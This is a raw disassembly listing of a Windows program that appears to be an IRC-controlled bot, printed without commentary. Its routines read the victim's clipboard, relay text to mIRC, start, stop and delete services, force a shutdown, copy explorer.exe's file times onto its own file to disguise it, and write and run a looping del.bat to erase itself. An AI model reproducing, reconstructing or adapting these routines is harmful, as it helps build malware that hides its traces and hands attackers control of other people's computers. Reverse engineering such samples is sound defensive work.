mov dword_42EBEC, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_42EC38, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_42EB7C, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_42EB44, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_42EBD0, eax
call esi ; GetProcAddress
cmp dword_42EBEC, ebx
mov dword_42EB4C, eax
jz short loc_406AD6
cmp dword_42EC38, ebx
jz short loc_406AD6
cmp dword_42EB7C, ebx
jz short loc_406AD6
cmp dword_42EB44, ebx
jz short loc_406AD6
cmp dword_42EBD0, ebx
jz short loc_406AD6
cmp eax, ebx
jnz short loc_406AE0
jmp short loc_406AD6
; ---------------------------------------------------------------------------
loc_406ACB: ; CODE XREF: sub_405EFF+B4Ej
call ds:dword_41B060 ; RtlGetLastWin32Error
mov dword_42ECD4, eax
loc_406AD6: ; CODE XREF: sub_405EFF+BA4j
; sub_405EFF+BACj ...
mov dword_42ECD0, 1
loc_406AE0: ; CODE XREF: sub_405EFF+BC8j
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_405EFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_406AE8(int,char *Str,int,int)
sub_406AE8 proc near ; CODE XREF: sub_409557+4A6Bp
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+Str]
push esi
xor esi, esi
cmp dword_42EC70, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_406B30
push dword_42EC74
lea eax, [ebp+Dest]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
loc_406B30: ; CODE XREF: sub_406AE8+1Aj
cmp dword_42EC78, esi
jz short loc_406B64
push dword_42EC7C
lea eax, [ebp+Dest]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
loc_406B64: ; CODE XREF: sub_406AE8+4Ej
cmp dword_42EC80, esi
jz short loc_406B98
push dword_42EC84
lea eax, [ebp+Dest]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
loc_406B98: ; CODE XREF: sub_406AE8+82j
cmp dword_42EC88, esi
jz short loc_406BCC
push dword_42EC8C
lea eax, [ebp+Dest]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
loc_406BCC: ; CODE XREF: sub_406AE8+B6j
cmp dword_42EC90, esi
jz short loc_406C00
push dword_42EC94
lea eax, [ebp+Dest]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
loc_406C00: ; CODE XREF: sub_406AE8+EAj
cmp dword_42EC98, esi
jz short loc_406C34
push dword_42EC9C
lea eax, [ebp+Dest]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
loc_406C34: ; CODE XREF: sub_406AE8+11Ej
cmp dword_42ECA0, esi
jz short loc_406C68
push dword_42ECA4
lea eax, [ebp+Dest]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
loc_406C68: ; CODE XREF: sub_406AE8+152j
cmp dword_42ECA8, esi
jz short loc_406C9C
push dword_42ECAC
lea eax, [ebp+Dest]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
loc_406C9C: ; CODE XREF: sub_406AE8+186j
cmp dword_42ECB0, esi
jz short loc_406CD0
push dword_42ECB4
lea eax, [ebp+Dest]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
loc_406CD0: ; CODE XREF: sub_406AE8+1BAj
cmp dword_42ECB8, esi
jz short loc_406D04
push dword_42ECBC
lea eax, [ebp+Dest]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
loc_406D04: ; CODE XREF: sub_406AE8+1EEj
cmp dword_42ECC0, esi
jz short loc_406D38
push dword_42ECC4
lea eax, [ebp+Dest]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
loc_406D38: ; CODE XREF: sub_406AE8+222j
cmp dword_42ECC8, esi
jz short loc_406D6C
push dword_42ECCC
lea eax, [ebp+Dest]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
loc_406D6C: ; CODE XREF: sub_406AE8+256j
cmp dword_42ECD0, esi
jz short loc_406DA0
push dword_42ECD4
lea eax, [ebp+Dest]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
loc_406DA0: ; CODE XREF: sub_406AE8+28Aj
lea eax, [ebp+Dest]
push offset aMainDllTestCom ; "[MAIN]: DLL test complete."
push eax ; Dest
call _sprintf
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_406DCD
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 14h
loc_406DCD: ; CODE XREF: sub_406AE8+2CEj
lea eax, [ebp+Dest]
push eax
call sub_402D63
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_406AE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_406DDF(char *Src,char *SubStr,char *Source)
sub_406DDF proc near ; CODE XREF: sub_409557+93Dp
; sub_409557+971p ...
Src = dword ptr 8
SubStr = dword ptr 0Ch
Source = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+Src]
xor esi, esi
cmp edi, esi
jz short loc_406E6A
mov eax, [ebp+SubStr]
cmp eax, esi
jz short loc_406E6A
cmp [ebp+Source], esi
jz short loc_406E6A
cmp byte ptr [eax], 0
jz short loc_406E6A
push ebx
push edi ; Src
call __strdup
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_406E65
push [ebp+SubStr] ; SubStr
push edi ; Str
call _strstr
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_406E5E
sub eax, edi
push eax ; Count
push edi ; Source
push ebx ; Dest
call _strncpy
push [ebp+Source] ; Str
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call _strlen
push eax ; Count
push [ebp+Source] ; Source
push ebx ; Dest
call _strncat
push [ebp+SubStr] ; Str
call _strlen
add eax, esi
push eax ; Source
push ebx ; Dest
call _strcat
push ebx ; Source
push edi ; Dest
call _strcpy
add esp, 30h
mov esi, edi
loc_406E5E: ; CODE XREF: sub_406DDF+3Cj
push ebx ; Memory
call _free
pop ecx
loc_406E65: ; CODE XREF: sub_406DDF+2Bj
mov eax, esi
pop ebx
jmp short loc_406E6C
; ---------------------------------------------------------------------------
loc_406E6A: ; CODE XREF: sub_406DDF+Cj
; sub_406DDF+13j ...
xor eax, eax
loc_406E6C: ; CODE XREF: sub_406DDF+89j
pop edi
pop esi
pop ebp
retn
sub_406DDF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_406E70(char *Str,int)
sub_406E70 proc near ; CODE XREF: sub_405C73+F4p
; sub_4093DF+E9p
Dst = dword ptr -7D0h
var_7CC = byte ptr -7CCh
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
mov esi, [ebp+Str]
push esi ; Str
call _strlen
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_406EA6
or eax, 0FFFFFFFFh
jmp short loc_406F19
; ---------------------------------------------------------------------------
loc_406EA6: ; CODE XREF: sub_406E70+2Fj
xor ecx, ecx
mov [ebp+Dst], esi
test eax, eax
jle short loc_406EC8
loc_406EB2: ; CODE XREF: sub_406E70+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_406EBF
cmp dl, 0Dh
jnz short loc_406EC3
loc_406EBF: ; CODE XREF: sub_406E70+48j
and byte ptr [ecx+esi], 0
loc_406EC3: ; CODE XREF: sub_406E70+4Dj
inc ecx
cmp ecx, eax
jl short loc_406EB2
loc_406EC8: ; CODE XREF: sub_406E70+40j
xor edx, edx
push edi
test eax, eax
jle short loc_406EF9
lea edi, [ebp+var_7CC]
loc_406ED5: ; CODE XREF: sub_406E70+87j
cmp byte ptr [edx+esi], 0
jnz short loc_406EF4
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_406EF4
cmp ebx, 1F4h
jge short loc_406EF9
mov [edi], ecx
inc ebx
add edi, 4
loc_406EF4: ; CODE XREF: sub_406E70+69j
; sub_406E70+74j
inc edx
cmp edx, eax
jl short loc_406ED5
loc_406EF9: ; CODE XREF: sub_406E70+5Dj
; sub_406E70+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_406F17
lea eax, [ebp+Dst]
push 7D0h ; Size
push eax ; Src
push [ebp+arg_4] ; Dst
call _memcpy
add esp, 0Ch
loc_406F17: ; CODE XREF: sub_406E70+8Ej
mov eax, ebx
loc_406F19: ; CODE XREF: sub_406E70+34j
pop esi
pop ebx
leave
retn
sub_406E70 endp
; =============== S U B R O U T I N E =======================================
sub_406F1D proc near ; CODE XREF: sub_406F77+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_406F56
push ebx
mov ebx, edi
loc_406F3A: ; CODE XREF: sub_406F1D+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_406F59
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_406F3A
pop ebx
loc_406F56: ; CODE XREF: sub_406F1D+18j
pop edi
pop esi
retn
sub_406F1D endp
; =============== S U B R O U T I N E =======================================
sub_406F59 proc near ; CODE XREF: sub_406F1D+25p
; sub_406F77+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax ; C
call _tolower ; _tolower
cmp al, 61h
pop ecx
jl short loc_406F74
cmp al, 7Ah
jg short loc_406F74
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_406F74: ; CODE XREF: sub_406F59+Ej
; sub_406F59+12j
xor eax, eax
retn
sub_406F59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_406F77(char *Str,int)
sub_406F77 proc near ; CODE XREF: sub_402E43+10p
; sub_402E75+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call __alloca_probe
push ebx
push esi
push edi
push [ebp+Str] ; Str
call _strlen
push [ebp+arg_4] ; Str
mov [ebp+var_4], eax
call _strlen
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_406F1D
add esp, 14h
dec esi
mov edi, esi
loc_406FB5: ; CODE XREF: sub_406F77+B6j
test esi, esi
jle short loc_407033
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax ; C
call _tolower ; _tolower
mov ebx, eax
mov eax, [ebp+Str]
movsx eax, byte ptr [edi+eax]
push eax ; C
call _tolower ; _tolower
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40702B
loc_406FDB: ; CODE XREF: sub_406F77+B2j
mov ebx, [ebp+Str]
mov al, [edi+ebx]
push eax
call sub_406F59
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_406FFC
mov eax, ecx
loc_406FFC: ; CODE XREF: sub_406F77+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_40702F
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax ; C
call _tolower ; _tolower
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax ; C
mov [ebp+var_8], edx
call _tolower ; _tolower
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_406FDB
loc_40702B: ; CODE XREF: sub_406F77+62j
dec edi
dec esi
jmp short loc_406FB5
; ---------------------------------------------------------------------------
loc_40702F: ; CODE XREF: sub_406F77+8Aj
xor eax, eax
jmp short loc_407038
; ---------------------------------------------------------------------------
loc_407033: ; CODE XREF: sub_406F77+40j
mov eax, [ebp+Str]
add eax, edi
loc_407038: ; CODE XREF: sub_406F77+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_406F77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40703D proc near ; CODE XREF: sub_409557+34DAp
; sub_409557+3E83p
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_41B060 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call ds:dword_41B0D0 ; FormatMessageA
lea eax, [ebp+var_100]
loc_407076: ; CODE XREF: sub_40703D+46j
mov cl, [eax]
cmp cl, 1Fh
loc_40707B: ; DATA XREF: .data:0041E4C0o
; .data:0041E4D4o ...
jg short loc_407082
cmp cl, 9
jnz short loc_407085
loc_407082: ; CODE XREF: sub_40703D:loc_40707Bj
inc eax
jmp short loc_407076
; ---------------------------------------------------------------------------
loc_407085: ; CODE XREF: sub_40703D+43j
; sub_40703D+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_40709F
mov cl, [eax]
cmp cl, 2Eh
jz short loc_407085
cmp cl, 21h
jl short loc_407085
loc_40709F: ; CODE XREF: sub_40703D+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset byte_42ECE0
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h ; Count
push esi ; Dest
call __snprintf
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40703D endp
; =============== S U B R O U T I N E =======================================
sub_4070C7 proc near ; CODE XREF: sub_409557+49F7p
push esi
push 0
call dword_42EB84 ; OpenClipboard
test eax, eax
jz short loc_4070FE
push 1
call dword_42EBA4 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_4070FE
push edi
push esi
call ds:dword_41B0D8 ; GlobalLock
push esi
mov edi, eax
call ds:dword_41B0D4 ; GlobalUnlock
call dword_42EC04 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4070FE: ; CODE XREF: sub_4070C7+Bj
; sub_4070C7+19j
xor eax, eax
pop esi
retn
sub_4070C7 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_407102(char *Format)
sub_407102 proc near ; CODE XREF: sub_409557+3E32p
Format = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_42EBC0 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_40717E
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call ds:dword_41B0E4 ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call ds:dword_41B0E0 ; MapViewOfFile
push [esp+10h+Format] ; Format
mov ebx, eax
push ebx ; Dest
call _sprintf
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_42EC0C ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_42EC0C ; SendMessageA
push ebx
call ds:dword_41B0DC ; UnmapViewOfFile
push edi
call ds:dword_41B050 ; CloseHandle
push 1
pop eax
pop ebx
jmp short loc_407180
; ---------------------------------------------------------------------------
loc_40717E: ; CODE XREF: sub_407102+16j
xor eax, eax
loc_407180: ; CODE XREF: sub_407102+7Aj
pop edi
pop esi
pop ebp
retn
sub_407102 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407184 proc near ; CODE XREF: WinMain(x,x,x,x)+212p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_42EC6C ; SearchPathA
test eax, eax
jz short loc_407223
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, ds:dword_41B05C
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_407223
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call ds:dword_41B0EC ; GetFileTime
push ebx
mov ebx, ds:dword_41B050
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_407223
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_41B0E8 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_407223: ; CODE XREF: sub_407184+2Aj
; sub_407184+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_407184 endp
; =============== S U B R O U T I N E =======================================
sub_407228 proc near ; CODE XREF: sub_409557+1014p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_408849
pop ecx
pop ecx
push 50005h
push 6
call dword_42EB0C ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_407228 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40724A proc near ; CODE XREF: sub_403520+472p
; sub_409557+4C67p
Str = byte ptr -764h
var_364 = byte ptr -364h
Dest = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
Dst = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_424A5C, esi
push edi
jz short loc_40726E
cmp dword_42EC80, esi
jnz short loc_40726E
push esi ; Str
call sub_402FA4
pop ecx
loc_40726E: ; CODE XREF: sub_40724A+13j
; sub_40724A+1Bj
call sub_411E03
lea eax, [ebp+Str]
push eax
push 400h
call ds:dword_41B0F4 ; GetTempPathA
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset aSdel_bat ; "%sdel.bat"
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dest]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:dword_41B05C ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_4073CE
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+Str]
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push edi
call ds:dword_41B054 ; WriteFile
push edi
call ds:dword_41B050 ; CloseHandle
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_58]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_428D64
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call ds:dword_41B0CC ; GetModuleHandleA
push eax
call ds:dword_41B068 ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call ds:dword_41B0A8 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_407376
lea eax, [ebp+var_15C]
push 80h
push eax
call ds:dword_41B000 ; SetFileAttributesA
loc_407376: ; CODE XREF: sub_40724A+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+Str]
push eax
call ds:dword_41B0F0 ; ExpandEnvironmentStringsA
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call ds:dword_41B094 ; CreateProcessA
loc_4073CE: ; CODE XREF: sub_40724A+72j
pop edi
pop esi
leave
retn
sub_40724A endp
; =============== S U B R O U T I N E =======================================
sub_4073D2 proc near ; CODE XREF: sub_409557:loc_40AE4Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_407437
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_4210E8[esi]
push edi
push eax
call sub_407459
add esp, 14h
test eax, eax
jnz short loc_40741A
push edi
push off_4210E4[esi]
mov esi, offset byte_42F5A4
push offset aNetSServiceS_ ; "[NET]: %s service: '%s'."
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_407454
; ---------------------------------------------------------------------------
loc_40741A: ; CODE XREF: sub_4073D2+2Aj
push eax
call sub_4074FB
push eax
push edi
mov esi, offset byte_42F5A4
push offset aNetErrorWithSe ; "[NET]: Error with service: '%s'. %s"
push esi ; Dest
call _sprintf
add esp, 14h
jmp short loc_407454
; ---------------------------------------------------------------------------
loc_407437: ; CODE XREF: sub_4073D2+Cj
lea eax, [eax+eax*2]
mov esi, offset byte_42F5A4
push off_4210E0[eax*4]
push offset aNetSNoServiceS ; "[NET]: %s: No service specified."
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_407454: ; CODE XREF: sub_4073D2+46j
; sub_4073D2+63j
mov eax, esi
pop edi
pop esi
retn
sub_4073D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407459 proc near ; CODE XREF: sub_4073D2+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_42EBA8 ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_407480
call ds:dword_41B060 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_4074F5
; ---------------------------------------------------------------------------
loc_407480: ; CODE XREF: sub_407459+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_42EAAC ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_4074A0
call ds:dword_41B060 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_4074ED
; ---------------------------------------------------------------------------
loc_4074A0: ; CODE XREF: sub_407459+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_4074D3
cmp eax, 3
jz short loc_4074C4
jle short loc_4074E6
cmp eax, 6
jg short loc_4074E6
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_42EB14 ; ControlService
jmp short loc_4074DA
; ---------------------------------------------------------------------------
loc_4074C4: ; CODE XREF: sub_407459+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_42EAB4 ; StartServiceA
jmp short loc_4074DA
; ---------------------------------------------------------------------------
loc_4074D3: ; CODE XREF: sub_407459+4Dj
push esi
call dword_42EB18 ; DeleteService
loc_4074DA: ; CODE XREF: sub_407459+69j
; sub_407459+78j
test eax, eax
jnz short loc_4074E6
call ds:dword_41B060 ; RtlGetLastWin32Error
mov ebx, eax
loc_4074E6: ; CODE XREF: sub_407459+54j
; sub_407459+59j ...
push esi
call dword_42EAC8 ; CloseServiceHandle
loc_4074ED: ; CODE XREF: sub_407459+45j
push edi
call dword_42EAC8 ; CloseServiceHandle
pop esi
loc_4074F5: ; CODE XREF: sub_407459+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_407459 endp
; =============== S U B R O U T I N E =======================================
sub_4074FB proc near ; CODE XREF: sub_4073D2+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_4075B0
jz loc_4075A9
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_407573
jz short loc_407569
mov ecx, eax
sub ecx, 3
jz short loc_40755F
dec ecx
dec ecx
jz short loc_407555
dec ecx
jz short loc_40754B
sub ecx, 51h
jz short loc_407541
sub ecx, 24h
jnz loc_407626 ; default
; jumptable 004075CD cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_407618
; ---------------------------------------------------------------------------
loc_407541: ; CODE XREF: sub_4074FB+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_407618
; ---------------------------------------------------------------------------
loc_40754B: ; CODE XREF: sub_4074FB+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_407618
; ---------------------------------------------------------------------------
loc_407555: ; CODE XREF: sub_4074FB+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_407618
; ---------------------------------------------------------------------------
loc_40755F: ; CODE XREF: sub_4074FB+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_407618
; ---------------------------------------------------------------------------
loc_407569: ; CODE XREF: sub_4074FB+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_407618
; ---------------------------------------------------------------------------
loc_407573: ; CODE XREF: sub_4074FB+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_4075A2
dec ecx
jz short loc_40759B
dec ecx
jz short loc_407594
dec ecx
jnz loc_407626 ; default
; jumptable 004075CD cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_407618
; ---------------------------------------------------------------------------
loc_407594: ; CODE XREF: sub_4074FB+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_407618
; ---------------------------------------------------------------------------
loc_40759B: ; CODE XREF: sub_4074FB+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_407618
; ---------------------------------------------------------------------------
loc_4075A2: ; CODE XREF: sub_4074FB+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_407618
; ---------------------------------------------------------------------------
loc_4075A9: ; CODE XREF: sub_4074FB+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_407618
; ---------------------------------------------------------------------------
loc_4075B0: ; CODE XREF: sub_4074FB+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_407626 ; default
; jumptable 004075CD cases 1,5,6,8,9,12,13,15,16
jz short loc_407613
